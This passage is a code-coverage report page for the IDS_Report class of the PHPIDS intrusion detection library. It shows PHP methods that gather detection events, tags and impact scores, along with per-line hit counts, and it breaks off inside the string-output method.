id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * PHPIDS report object -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * The report objects collects a number of events and thereby presents the -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * detected results. It provides a convenient API to work with the results. -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * Note that this class implements Countable, IteratorAggregate and -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * a __toString() method -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @category Security -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @package PHPIDS -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : * @version Release: $Id:Report.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : */ -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : class IDS_Report implements Countable, IteratorAggregate -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : { -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : /** -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * Event container -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : * @var array -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : */ -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : protected $events = array(); -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : /** -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * List of affected tags -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : * This list of tags is collected from the collected event objects on -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : * demand when IDS_Report->getTags() is called -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : * -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : * @var array -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : */ -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : protected $tags = array(); -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : /** -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : * Impact level -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : * -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : * The impact level is calculated on demand by adding the results of the -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * event objects on IDS_Report->getImpact() -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * @var integer -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : */ -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : protected $impact = 0; -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : /** -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * Centrifuge data -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : * -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : * This variable - initiated as an empty array - carries all information -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : * about the centrifuge data if available -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : * -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * @var array -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : */ -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : protected $centrifuge = array(); -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : /** -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span> : * Constructor -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : * -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span> : * @param array $events the events the report should include -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : * -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : * @return void -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span> : */ -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span> : public function __construct(array $events = null) -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : { -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span><span class="lineCov"> 59 : if ($events) { </span> -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span><span class="lineCov"> 19 : foreach ($events as $event) { </span> -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span><span class="lineCov"> 19 : $this->addEvent($event); </span> -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span><span class="lineCov"> 19 : } </span> -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span><span class="lineCov"> 19 : } </span> -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span><span class="lineCov"> 59 : } </span> -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : /** -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * Adds an IDS_Event object to the report -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : * @param object $event IDS_Event -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : * -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : * @return object $this -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span> : */ -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span> : public function addEvent(IDS_Event $event) -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span> : { -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineCov"> 52 : $this->clear(); </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 52 : $this->events[$event->getName()] = $event; </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span> : -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span><span class="lineCov"> 52 : return $this; </span> -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : /** -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * Get event by name -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * In most cases an event is identified by the key of the variable that -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * contained maliciously appearing content -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : * -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : * @param scalar $name the event name -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : * -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span> : * @throws InvalidArgumentException if argument is invalid -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span> : * @return mixed IDS_Event object or false if the event does not exist -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span> : */ -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : public function getEvent($name) -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span> : { -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span><span class="lineCov"> 5 : if (!is_scalar($name)) { </span> -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException( </span> -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : 'Invalid argument type given' -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span><span class="lineCov"> 4 : if ($this->hasEvent($name)) { </span> -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span><span class="lineCov"> 3 : return $this->events[$name]; </span> -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span> : -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span><span class="lineCov"> 1 : return false; </span> -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : /** -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span> : * Returns list of affected tags -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span> : * -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : * @return array -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : */ -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : public function getTags() -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : { -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span><span class="lineCov"> 3 : if (!$this->tags) { </span> -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span><span class="lineCov"> 3 : $this->tags = array(); </span> -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span><span class="lineCov"> 3 : foreach ($this->events as $event) { </span> -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span><span class="lineCov"> 3 : $this->tags = array_merge($this->tags, </span> -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span><span class="lineCov"> 3 : $event->getTags()); </span> -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span> : -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span><span class="lineCov"> 3 : $this->tags = array_values(array_unique($this->tags)); </span> -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span> : -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span><span class="lineCov"> 3 : return $this->tags; </span> -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span> : -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : /** -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span> : * Returns total impact -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span> : * -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : * Each stored IDS_Event object and its IDS_Filter sub-object are called -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : * to calculate the overall impact level of this request -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span> : * -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span> : * @return integer -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span> : */ -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : public function getImpact() -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span> : { -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span><span class="lineCov"> 36 : if (!$this->impact) { </span> -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span><span class="lineCov"> 36 : $this->impact = 0; </span> -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span><span class="lineCov"> 36 : foreach ($this->events as $event) { </span> -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span><span class="lineCov"> 34 : $this->impact += $event->getImpact(); </span> -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span><span class="lineCov"> 36 : } </span> -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span><span class="lineCov"> 36 : return $this->impact; </span> -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span> : -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span> : /** -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : * Checks if a specific event with given name exists -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span> : * -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : * @param scalar $name the event name -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span> : * -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span> : * @throws InvalidArgumentException if argument is illegal -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : * -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span> : * @return boolean -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span> : */ -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span> : public function hasEvent($name) -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span> : { -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span><span class="lineCov"> 11 : if (!is_scalar($name)) { </span> -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException('Invalid argument given'); </span> -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span> : -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span><span class="lineCov"> 10 : return isset($this->events[$name]); </span> -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span> : -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span> : /** -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span> : * Returns total amount of events -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span> : * -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span> : * @return integer -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span> : */ -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span> : public function count() -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span> : { -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span><span class="lineCov"> 1 : return count($this->events); </span> -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span> : -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span> : /** -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span> : * Return iterator object -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span> : * -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span> : * In order to provide the possibility to directly iterate over the -<span class="lineNum" id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span> : * IDS_Event object the IteratorAggregate is implemented. One can easily -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span> : * use foreach() to iterate through all stored IDS_Event objects. -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span> : * -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span> : * @return Iterator -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : */ -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : public function getIterator() -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span> : { -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span><span class="lineCov"> 1 : return new ArrayObject($this->events); </span> -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container232"><a name="232"></a><a href="#232" id="line232"> 232</a> </span> : -<span class="lineNum" id="container233"><a name="233"></a><a href="#233" id="line233"> 233</a> </span> : /** -<span class="lineNum" id="container234"><a name="234"></a><a href="#234" id="line234"> 234</a> </span> : * Checks if any events are registered -<span class="lineNum" id="container235"><a name="235"></a><a href="#235" id="line235"> 235</a> </span> : * -<span class="lineNum" id="container236"><a name="236"></a><a href="#236" id="line236"> 236</a> </span> : * @return boolean -<span class="lineNum" id="container237"><a name="237"></a><a href="#237" id="line237"> 237</a> </span> : */ -<span class="lineNum" id="container238"><a name="238"></a><a href="#238" id="line238"> 238</a> </span> : public function isEmpty() -<span class="lineNum" id="container239"><a name="239"></a><a href="#239" id="line239"> 239</a> </span> : { -<span class="lineNum" id="container240"><a name="240"></a><a href="#240" id="line240"> 240</a> </span><span class="lineCov"> 4 : return empty($this->events); </span> -<span class="lineNum" id="container241"><a name="241"></a><a href="#241" id="line241"> 241</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container242"><a name="242"></a><a href="#242" id="line242"> 242</a> </span> : -<span class="lineNum" id="container243"><a name="243"></a><a href="#243" id="line243"> 243</a> </span> : /** -<span class="lineNum" id="container244"><a name="244"></a><a href="#244" id="line244"> 244</a> </span> : * Clears calculated/collected values -<span class="lineNum" id="container245"><a name="245"></a><a href="#245" id="line245"> 245</a> </span> : * -<span class="lineNum" id="container246"><a name="246"></a><a href="#246" id="line246"> 246</a> </span> : * @return void -<span class="lineNum" id="container247"><a name="247"></a><a href="#247" id="line247"> 247</a> </span> : */ -<span class="lineNum" id="container248"><a name="248"></a><a href="#248" id="line248"> 248</a> </span> : protected function clear() -<span class="lineNum" id="container249"><a name="249"></a><a href="#249" id="line249"> 249</a> </span> : { -<span class="lineNum" id="container250"><a name="250"></a><a href="#250" id="line250"> 250</a> </span><span class="lineCov"> 52 : $this->impact = 0; </span> -<span class="lineNum" id="container251"><a name="251"></a><a href="#251" id="line251"> 251</a> </span><span class="lineCov"> 52 : $this->tags = array(); </span> -<span class="lineNum" id="container252"><a name="252"></a><a href="#252" id="line252"> 252</a> </span><span class="lineCov"> 52 : } </span> -<span class="lineNum" id="container253"><a name="253"></a><a href="#253" id="line253"> 253</a> </span> : -<span class="lineNum" id="container254"><a name="254"></a><a href="#254" id="line254"> 254</a> </span> : /** -<span class="lineNum" id="container255"><a name="255"></a><a href="#255" id="line255"> 255</a> </span> : * This method returns the centrifuge property or null if not -<span class="lineNum" id="container256"><a name="256"></a><a href="#256" id="line256"> 256</a> </span> : * filled with data -<span class="lineNum" id="container257"><a name="257"></a><a href="#257" id="line257"> 257</a> </span> : * -<span class="lineNum" id="container258"><a name="258"></a><a href="#258" id="line258"> 258</a> </span> : * @return array/null -<span class="lineNum" id="container259"><a name="259"></a><a href="#259" id="line259"> 259</a> </span> : */ -<span class="lineNum" id="container260"><a name="260"></a><a href="#260" id="line260"> 260</a> </span> : public function getCentrifuge() -<span class="lineNum" id="container261"><a name="261"></a><a href="#261" id="line261"> 261</a> </span> : { -<span class="lineNum" id="container262"><a name="262"></a><a href="#262" id="line262"> 262</a> </span><span class="lineCov"> 1 : return ($this->centrifuge && count($this->centrifuge) > 0) </span> -<span class="lineNum" id="container263"><a name="263"></a><a href="#263" id="line263"> 263</a> </span><span class="lineCov"> 1 : ? $this->centrifuge : null; </span> -<span class="lineNum" id="container264"><a name="264"></a><a href="#264" id="line264"> 264</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container265"><a name="265"></a><a href="#265" id="line265"> 265</a> </span> : -<span class="lineNum" id="container266"><a name="266"></a><a href="#266" id="line266"> 266</a> </span> : /** -<span class="lineNum" id="container267"><a name="267"></a><a href="#267" id="line267"> 267</a> </span> : * This method sets the centrifuge property -<span class="lineNum" id="container268"><a name="268"></a><a href="#268" id="line268"> 268</a> </span> : * -<span class="lineNum" id="container269"><a name="269"></a><a href="#269" id="line269"> 269</a> </span> : * @param array $centrifuge the centrifuge data -<span class="lineNum" id="container270"><a name="270"></a><a href="#270" id="line270"> 270</a> </span> : * -<span class="lineNum" id="container271"><a name="271"></a><a href="#271" id="line271"> 271</a> </span> : * @throws InvalidArgumentException if argument is illegal -<span class="lineNum" id="container272"><a name="272"></a><a href="#272" id="line272"> 272</a> </span> : * -<span class="lineNum" id="container273"><a name="273"></a><a href="#273" id="line273"> 273</a> </span> : * @return boolean true is arguments were valid -<span class="lineNum" id="container274"><a name="274"></a><a href="#274" id="line274"> 274</a> </span> : */ -<span class="lineNum" id="container275"><a name="275"></a><a href="#275" id="line275"> 275</a> </span> : public function setCentrifuge($centrifuge = array()) -<span class="lineNum" id="container276"><a name="276"></a><a href="#276" id="line276"> 276</a> </span> : { -<span class="lineNum" id="container277"><a name="277"></a><a href="#277" id="line277"> 277</a> </span><span class="lineCov"> 18 : if (is_array($centrifuge) && $centrifuge) { </span> -<span class="lineNum" id="container278"><a name="278"></a><a href="#278" id="line278"> 278</a> </span><span class="lineCov"> 18 : $this->centrifuge = $centrifuge; </span> -<span class="lineNum" id="container279"><a name="279"></a><a href="#279" id="line279"> 279</a> </span><span class="lineCov"> 18 : return true; </span> -<span class="lineNum" id="container280"><a name="280"></a><a href="#280" id="line280"> 280</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container281"><a name="281"></a><a href="#281" id="line281"> 281</a> </span><span class="lineNoCov"> 0 : throw new InvalidArgumentException('Invalid argument given'); </span> -<span class="lineNum" id="container282"><a name="282"></a><a href="#282" id="line282"> 282</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container283"><a name="283"></a><a href="#283" id="line283"> 283</a> </span> : -<span class="lineNum" id="container284"><a name="284"></a><a href="#284" id="line284"> 284</a> </span> : /** -<span class="lineNum" id="container285"><a name="285"></a><a href="#285" id="line285"> 285</a> </span> : * Directly outputs all available information -<span class="lineNum" id="container286"><a name="286"></a><a href="#286" id="line286"> 286</a> </span> : * -<span class="lineNum" id="container287"><a name="287"></a><a href="#287" id="line287"> 287</a> </span> : * @return string -<span class="lineNum" id="container288"><a name="288"></a><a href="#288" id="line288"> 288</a> </span> : */ -<span class="lineNum" id="container289"><a name="289"></a><a href="#289" id="line289"> 289</a> </span> : public function __toString() -<span class="lineNum" id="container290"><a name="290"></a><a href="#290" id="line290"> 290</a> </span> : { -<span class="lineNum" id="container291"><a name="291"></a><a href="#291" id="line291"> 291</a> </span><span class="lineCov"> 2 : if (!$this->isEmpty()) { </span> -<span class="lineNum" id="container292"><a name="292"></a><a href="#292" id="line292"> 292</a> </span><span class="lineCov"> 1 : $output = ''; </span> -<span class="lineNum" id="container293"><a name="293"></a><a href="#293" id="line293"> 293</a> </span><span class="lineCov"> 1 : $output .= 'Total impact: ' . $this->getImpact() . "<br/>\n"; </span> -<span class="lineNum" id="container294"><a name="294"></a><a href="#294" id="line294"> 294</a> </span><span class="lineCov"> 1 : $output .= 'Affected tags: ' . join(', ', $this->getTags()) . </span> -<span class="lineNum" id="container295"><a name="295"></a><a href="#295" id="line295"> 295</a> </span><span class="lineCov"> 1 : "<br/>\n"; </span> -<span class="lineNum" id="container296"><a name="296"></a><a href="#296" id="line296"> 296</a> </span> : -<span class="lineNum" id="container297"><a name="297"></a><a href="#297" 